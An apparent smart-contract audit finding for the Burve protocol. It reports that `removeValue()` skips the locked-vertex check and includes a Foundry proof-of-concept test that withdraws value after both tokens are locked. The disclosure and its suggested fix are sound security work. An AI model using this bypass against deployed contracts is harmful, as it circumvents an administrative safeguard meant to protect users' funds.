Damaged Admiral Grasshopper

Medium

# User can remove tokens from a closure with locked vertex

### Summary

No `isAnyLocked()` check implemented in `removeValue()`, leading to values can be removed even if there are locked vertexes in a closure.

### Root Cause

When user tries to remove tokens through [removeValueSingle()](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L245-L251) and [removeTokenForValue()](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L335-L342), there is a check to see if there is any locked token in the closure.

[ClosureImpl::removeTokenForValue()](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L343):
```solidity
        require(!isAnyLocked(self), CannotRemoveWithLockedVertex(self.cid));
```

However, the same check if not implemented in [removeValue()](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L216-L220), as a result, user can remove tokens from a closure with locked vertex.

### Internal Pre-conditions

Vertex is locked in a closure.

### External Pre-conditions

None

### Attack Path

None

### Impact

User can remove tokens from a closure with locked vertex.

### PoC

Please run `forge test --mt testAudit_RemoveWhenVertexesAreLocked`.

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import "./mocks/MockERC20.sol";
import "openzeppelin-contracts/mocks/docs/ERC4626Fees.sol";
import {VaultType} from "../src/multi/vertex/VaultPointer.sol";
import "../src/multi/Diamond.sol";
import "../src/integrations/adjustor/MixedAdjustor.sol";
import "../src/integrations/adjustor/DecimalAdjustor.sol";

contract AuditTest is Test {
    uint8 constant MAX_TOKENS = 16;

    address owner = makeAddr("OWNER");
    address diamond;

    MockERC20 tokenA = new MockERC20("Token A", "A", 18);
    MockERC20 tokenB = new MockERC20("Token B", "B", 6);

    MockERC4626WithFees vaultA = new MockERC4626WithFees(tokenA, "Vault A", "VA");
    MockERC4626WithFees vaultB = new MockERC4626WithFees(tokenB, "Vault B", "VB");

    function setUp() public {
        vm.startPrank(owner);

        BurveFacets memory facets;

        {
            address vauleFacet = address(new ValueFacet());
            address valueTokenFacet = address(new ValueTokenFacet());
            address simplexFacet = address(new SimplexFacet());
            address swapFacet = address(new SwapFacet());
            address vaultFacet = address(new VaultFacet());
            MixedAdjustor mixedAdjustor = new MixedAdjustor();
            // Configure adjustor
            {
                DecimalAdjustor decimalAdjustor = new DecimalAdjustor();
                mixedAdjustor.setAdjustor(address(tokenB), address(decimalAdjustor));
            }
            address adjustor = address(mixedAdjustor);

            facets = BurveFacets({
                valueFacet: vauleFacet,
                valueTokenFacet: valueTokenFacet,
                simplexFacet: simplexFacet,
                swapFacet: swapFacet,
                vaultFacet: vaultFacet,
                adjustor: adjustor
            });
        }

        diamond = address(new SimplexDiamond(facets, "ValueToken", "BVT"));

        vm.label(diamond, "Diamond");
        vm.label(address(tokenA), "Token A");
        vm.label(address(tokenB), "Token B");
        vm.label(address(vaultA), "Vault A");
        vm.label(address(vaultB), "Vault B");

        // Add Vertex
        {
            // TokenA
            SimplexFacet(diamond).addVertex(address(tokenA), address(vaultA), VaultType.E4626);

            // TokenB
            SimplexFacet(diamond).addVertex(address(tokenB), address(vaultB), VaultType.E4626);
        }

        // Add Closure
        {
            bool success;

            uint16 cid = 3; // 0b11
            uint128 startingTarget = 1e12;
            uint128 baseFeeX128 = 0;
            uint128 protocolTakeX128 = 0;
            // uint128 baseFeeX128 = 34028236692093846346337460743176821145; // 10%
            // uint128 protocolTakeX128 = 34028236692093846346337460743176821145;  //10%

            uint256 amountA = startingTarget / 10 ** (18 - tokenA.decimals());
            uint256 amountB = startingTarget / 10 ** (18 - tokenB.decimals());

            tokenA.mint(owner, amountA);
            tokenA.approve(diamond, amountA);
            tokenB.mint(owner, amountB);
            tokenB.approve(diamond, amountB);
            SimplexFacet(diamond).addClosure(cid, startingTarget, baseFeeX128, protocolTakeX128);
        }

        vm.stopPrank();
    }

    function testAudit_RemoveWhenVertexesAreLocked() public {
        uint16 cid = 3;

        // Alice adds value
        address alice = makeAddr("Alice");
        tokenA.mint(alice, 100e18 + 1);
        tokenB.mint(alice, 100e6 + 1);

        vm.startPrank(alice);
        tokenA.approve(diamond, 100e18 + 1);
        tokenB.approve(diamond, 100e6 + 1);
        ValueFacet(diamond).addValue(alice, cid, 200e18, 0);
        vm.stopPrank();

        vm.startPrank(owner);
        LockFacet(diamond).lock(address(tokenA));
        LockFacet(diamond).lock(address(tokenB));
        vm.stopPrank();

        // Vertexes are locked
        assertTrue(LockFacet(diamond).isLocked(address(tokenA)));
        assertTrue(LockFacet(diamond).isLocked(address(tokenB)));

        // Alice can successfully remove even if a vertex is locked
        vm.prank(alice);
        ValueFacet(diamond).removeValue(alice, cid, 200e18, 0);
    }
}

contract MockERC4626WithFees is ERC4626Fees {

    uint256 entryFeeBasisPoints;
    uint256 exitFeeBasisPoints;
    address feeRecipient;

    constructor(
        IERC20 asset_, 
        string memory name_, 
        string memory symbol_
    ) ERC4626(asset_) ERC20(name_, symbol_) {
        feeRecipient = msg.sender;
    }

    function setEntryFee(uint256 entryFeeBasisPoints_) public {
        entryFeeBasisPoints = entryFeeBasisPoints_;
    }

    function setExitFee(uint256 exitFeeBasisPoints_) public {
        exitFeeBasisPoints = exitFeeBasisPoints_;
    }

    function _entryFeeBasisPoints() internal view override returns (uint256) {
        return entryFeeBasisPoints;
    }

    function _exitFeeBasisPoints() internal view override returns (uint256) {
        return exitFeeBasisPoints;
    }

    function _entryFeeRecipient() internal view override returns (address) {
        return feeRecipient;
    }

    function _exitFeeRecipient() internal view override returns (address) {
        return feeRecipient;
    }
}
```

_No response_

### Mitigation

Adding `isAnyLocked()` in `removeValue()`.